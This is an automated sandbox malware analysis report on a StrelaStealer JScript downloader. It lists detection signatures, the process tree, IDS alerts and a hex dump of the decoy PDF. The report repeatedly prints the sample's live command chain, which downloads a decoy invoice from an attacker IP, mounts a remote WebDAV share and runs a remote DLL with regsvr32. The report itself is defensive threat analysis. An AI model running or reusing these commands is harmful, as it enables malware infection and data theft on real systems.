Edit tour

Windows Analysis Report
201672639780846903.js

Overview

General Information

Sample name:	201672639780846903.js
Analysis ID:	1588836
MD5:	665411eb9f4f19077cab0acbaaebcd38
SHA1:	91951028b5cec8a5c0e98e502a42e42eaf6c12a4
SHA256:	a39aa5681156ed066e1c0ce91db31210739d6e9a602eeda0af5490b8e185132e
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5788 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3012 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2228 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 432 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5400 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5844 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1620,i,5557146196717324142,13555585375266243724,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6572 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1440 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7064 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5788	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3012, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2228, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3012, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2228, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js", ProcessId: 5788, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1440, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ProcessId: 3012, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ProcessId: 3012, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ProcessId: 3012, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ProcessId: 3012, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ProcessId: 3012, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js", ProcessId: 5788, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3012, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2228, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6572, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1440, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7064, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6572, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1440, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\201672639780846903.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5788, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll, ProcessId: 3012, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:08:36.138283+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:08:38.716100+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:08:36.138283+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 201672639780846903.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 201672639780846903.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:08:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 